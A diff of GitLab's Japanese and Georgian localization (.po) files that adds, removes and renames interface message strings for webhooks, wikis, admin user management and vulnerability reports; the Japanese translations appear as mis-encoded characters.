msgstr "ファイルをロードã—ã€ãã®å†…容をコピーã—ã¦ã„ã¾ã™ã€‚ãŠå¾…ã¡ãã ã•ã„。"
@@ -29672,6 +30330,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr "エピックを削除ã™ã‚‹ãƒ‘スを特定ã§ãã¾ã›ã‚“ã§ã—ãŸ"
@@ -29801,6 +30462,9 @@ msgstr "パイプラインイベント"
msgid "Webhooks|Push events"
msgstr "プッシュイベント"
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr "SSL検証"
@@ -29816,6 +30480,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -29897,12 +30564,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -29958,8 +30631,14 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
-msgstr "Wikiã¯æ­£å¸¸ã«æ›´æ–°ã•ã‚Œã¾ã—ãŸ"
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
+msgstr ""
msgid "WikiClone|Clone your wiki"
msgstr "Wiki をクローン"
@@ -30114,6 +30793,9 @@ msgstr "ページã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
msgid "Wiki|Pages"
msgstr "Pages"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr "タイトル"
@@ -30195,9 +30877,6 @@ msgstr "ã¯ã„ã€èª²é¡Œã‚’é–‰ã˜ã¾ã™"
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "ã¯ã„ã€Googleコードã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’フルãƒãƒ¼ãƒ ã¾ãŸã¯GitLab ユーザーã«å¯¾å¿œã•ã›ã¦ãã ã•ã„。"
-
msgid "Yesterday"
msgstr "昨日"
@@ -30207,6 +30886,9 @@ msgstr "ã‚ãªãŸ"
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30252,6 +30934,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr "プライマリログインアカウントã®ãƒªãƒ³ã‚¯ã‚’解除ã™ã‚‹ã“ã¨ã¯è¨±å¯ã•ã‚Œã¦ã„ã¾ã›ã‚“"
@@ -30411,6 +31096,9 @@ msgstr "グループã”ã¨ã¾ãŸã¯ãƒ—ロジェクトã”ã¨ã«é€šçŸ¥ãƒ¬ãƒ™ãƒ«ã‚’
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "%{linkStart} CI Lint %{linkEnd} ã§.gitlab-ci.ymlをテストã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr "ã“ã®ãƒ•ã‚¡ã‚¤ãƒ«ã«ç›´æŽ¥ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã›ã‚“。ã—ã°ã‚‰ããŠå¾…ã¡ãã ã•ã„。"
@@ -30453,6 +31141,9 @@ msgstr "ã‚ãªãŸã¯ã“ã® %{namespaceType} を離れる許å¯ã‚’å¾—ã¦ã„ã¾ã›
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr "Web ターミナルを実行ã™ã‚‹æ¨©é™ãŒã‚ã‚Šã¾ã›ã‚“。プロジェクト管ç†è€…ã«é€£çµ¡ã—ã¦ãã ã•ã„。"
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30531,6 +31222,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30615,9 +31312,6 @@ msgstr "アクセストークンã¨ãƒ›ã‚¹ãƒˆURLã®ä¸¡æ–¹ã‚’指定ã—ãªã‘ã‚Œã°
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr "GitLab プロジェクトã®ã‚¨ã‚¯ã‚¹ãƒãƒ¼ãƒˆã‚¢ãƒ¼ã‚«ã‚¤ãƒ–(.gz ã§çµ‚ã‚る)をアップロードã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-msgid "You need to upload a Google Takeout archive."
-msgstr "Google テイクアウトアーカイブをアップロードã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30660,13 +31354,10 @@ msgstr "ã‚ãªãŸãŒ @mentioned ã§ã‚³ãƒ¡ãƒ³ãƒˆã•ã‚ŒãŸæ™‚ã®ã¿é€šçŸ¥ã—ã¾ã™
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "%{set_password_link} ã§ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã®ãƒ‘スワードãŒã‚»ãƒƒãƒˆã•ã‚Œã¦ã„ãªã„ã®ã§ã€ãƒ—ロジェクト㫠%{protocol} ã§ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã‚’プッシュã€ãƒ—ルã§ãã¾ã›ã‚“"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "SSHéµã‚’プロフィールã«è¿½åŠ ã—ãªã„é™ã‚Šã€SSH経由ã§ãƒ—ロジェクトã®ã‚³ãƒ¼ãƒ‰ã‚’プルã—ãŸã‚Šãƒ—ッシュã™ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“。"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30696,9 +31387,6 @@ msgstr "ã“ã®ãƒ—ロジェクトを直接変更ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr "ã“ã®ãƒ—ロジェクトを直接変更ã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。変更を加ãˆã‚‹ã“ã¨ãŒã§ãるプロジェクトã®ãƒ•ã‚©ãƒ¼ã‚¯ãŒä½œæˆã•ã‚Œã¦ã„ã‚‹ã®ã§ã€ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’é€ä¿¡ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr "フィードã«ã¯%{startTag}ã»ã‹ã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティ%{endTag}ã®ã¿ãŒè¡¨ç¤ºã•ã‚Œã¦ã„ã¾ã™ã€‚コメントを追加ã™ã‚‹ã«ã¯æ¬¡ã®ã„ãšã‚Œã‹ã®ã‚ªãƒ—ションã«åˆ‡ã‚Šæ›¿ãˆã¾ã™ã€‚"
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "ã“ã®ãƒ¡ãƒ¼ãƒ«ã¯ %{host} ã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆå®›ã«é€ä¿¡ã•ã‚Œã¾ã—ãŸã€‚"
@@ -30717,6 +31405,9 @@ msgstr "%{host} ã«ã¦ã‚ãªãŸãŒè¨€åŠã•ã‚ŒãŸãŸã‚ã€ã“ã®ãƒ¡ãƒ¼ãƒ«ã‚’å—ä
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr "ワンタイムパスワードèªè¨¼ã‚’使用ã—ãŸ2è¦ç´ èªè¨¼ã¯æ—¢ã«æœ‰åŠ¹ã«ãªã£ã¦ã„ã¾ã™ã€‚別ã®ãƒ‡ãƒã‚¤ã‚¹ã‚’登録ã™ã‚‹ã«ã¯ã€ã¾ãš2è¦ç´ èªè¨¼ã‚’無効ã«ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30741,6 +31432,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆãƒ¡ãƒ¼ãƒ«ã¯ã€ç·¨é›†ã‚„マージãªã©ã®Webベースã®æ“作ã«ä½¿ç”¨ã—ã¾ã™ã€‚"
@@ -30753,6 +31447,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr "GPG éµ (%{count})"
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr "ã‚ãªãŸã® GitLab ã®ã‚°ãƒ«ãƒ¼ãƒ—"
@@ -30894,6 +31591,9 @@ msgstr "ã‚ãªãŸã®èª²é¡Œã‚’インãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã™ã€‚終了ã™ã‚‹ã¨ã€
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr "ã‚ãªãŸã®èª²é¡Œã‚’ãƒãƒƒã‚¯ã‚°ãƒ©ã‚¦ãƒ³ãƒ‰å‡¦ç†ã§ã‚¤ãƒ³ãƒãƒ¼ãƒˆã—ã¦ã„ã¾ã™ã€‚終了ã™ã‚‹ã¨ã€ç¢ºèªãƒ¡ãƒ¼ãƒ«ãŒå±Šãã¾ã™ã€‚"
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr "ライセンスã®æœ‰åŠ¹æœŸé™:"
@@ -30942,6 +31642,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr "アクセスã®ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯å¯©æŸ»å¾…ã¡ã§ã™ã€‚"
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -30951,6 +31657,9 @@ msgstr "ã©ã®ã‚³ãƒŸãƒƒãƒˆã«ã‚‚一致ã—ã¾ã›ã‚“ã§ã—ãŸã€‚"
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "サブスクリプションã®æœ‰åŠ¹æœŸé™ãŒåˆ‡ã‚Œã¾ã—ãŸï¼"
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr "Zoom ミーティングを追加ã—ã¾ã—ãŸ"
@@ -31129,14 +31841,11 @@ msgstr "%{reportType}:読ã¿è¾¼ã¿ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(çµæžœãƒ­ãƒ¼ãƒ‰æ™‚ã®ã‚¨ãƒ©ãƒ¼)"
-
-msgid "ciReport|(is loading)"
-msgstr "(ロード中)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(ロード中ã€çµæžœãƒ­ãƒ¼ãƒ‰æ™‚ã®ã‚¨ãƒ©ãƒ¼)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr "ã™ã¹ã¦ã®ãƒ—ロジェクト"
@@ -31301,6 +32010,12 @@ msgstr[0] "%{packagesString}ã€%{lastPackage} ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
msgid "ciReport|View full report"
msgstr "レãƒãƒ¼ãƒˆå…¨ä½“を見る"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr "クローズã—ãŸèª²é¡Œ"
@@ -31319,9 +32034,6 @@ msgstr "コミット %{commit_id}"
msgid "committed"
msgstr "コミット済ã¿"
-msgid "connecting"
-msgstr "接続中"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr "作æˆæ¸ˆã¿"
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr "カスタマイズ"
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr "存在ã—ã¾ã›ã‚“"
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr "サãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã‚‹æ‹¡å¼µå­ã§ã¯ã‚ã‚Šã¾ã›ã‚“。 %{extension_list} ã®æ‹¡å¼µå­ã ã‘ãŒã‚µãƒãƒ¼ãƒˆã•ã‚Œã¦ã„ã¾ã™"
-msgid "done"
-msgstr "完了"
-
msgid "download it"
msgstr "ダウンロードã™ã‚‹"
@@ -31466,6 +32172,9 @@ msgstr "%{ref} ã®å ´åˆ"
msgid "for this project"
msgstr "ã“ã®ãƒ—ロジェクトã§ã¯"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr "ã“ã®ãƒ—ロジェクトをフォーク"
@@ -31491,6 +32200,9 @@ msgstr "ã™ã§ã«åˆ¥ã®è„†å¼±æ€§ã«ãƒªãƒ³ã‚¯ã—ã¦ã„ã¾ã™"
msgid "has already been taken"
msgstr "ã¯æ—¢ã«ä½¿ç”¨ã•ã‚Œã¦ã„ã¾ã™ã€‚"
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr "ヘルプ"
@@ -31512,8 +32224,8 @@ msgstr ""
msgid "import flow"
msgstr "フローをインãƒãƒ¼ãƒˆ"
-msgid "importing"
-msgstr "インãƒãƒ¼ãƒˆä¸­"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr ""
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr "誰もマージã§ãã¾ã›ã‚“"
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr "ãªã—"
@@ -32066,6 +32781,9 @@ msgstr "順調"
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr "%{user} ㌠%{timeAgoString} を開始ã—ã¾ã—ãŸã€‚"
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr "ã¾ãŸã¯"
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "テスト全件数 %d ã®ã†ã¡"
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr "プロジェクト"
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr "致命的"
@@ -32215,9 +32942,15 @@ msgstr "情報"
msgid "severity|Low"
msgstr "低"
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr "中"
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr "ãªã—"
@@ -32266,9 +32999,6 @@ msgstr "%{slash_command} ã¯ç´¯è¨ˆçµŒéŽæ™‚é–“ã‚’æ›´æ–°ã—ã¾ã™"
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr "開始"
-
msgid "started a discussion on %{design_link}"
msgstr "%{design_link} ã§ãƒ‡ã‚£ã‚¹ã‚«ãƒƒã‚·ãƒ§ãƒ³ã‚’始ã‚ã¾ã—ãŸ"
@@ -32299,11 +33029,11 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
-msgstr "構文ã¯æ­£ã—ã„ã§ã™"
+msgid "syntax is correct."
+msgstr ""
-msgid "syntax is incorrect"
-msgstr "構文ãŒé–“é•ã£ã¦ã„ã¾ã™ã€‚"
+msgid "syntax is incorrect."
+msgstr ""
msgid "tag name"
msgstr "ã‚¿ã‚°å"
@@ -32311,6 +33041,9 @@ msgstr "ã‚¿ã‚°å"
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr "次ã®èª²é¡Œ"
@@ -32320,6 +33053,9 @@ msgstr "ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆ"
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "コントリビュータã®ã‚³ãƒŸãƒ¥ãƒ‹ã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã‚’効率化ã™ã‚‹ï¼"
@@ -32392,6 +33128,10 @@ msgstr "blobを表示"
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr "コメントを追加"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index 41dbf79a8a2..ad2eb42c260 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:45\n"
+"PO-Revision-Date: 2020-12-03 08:14\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
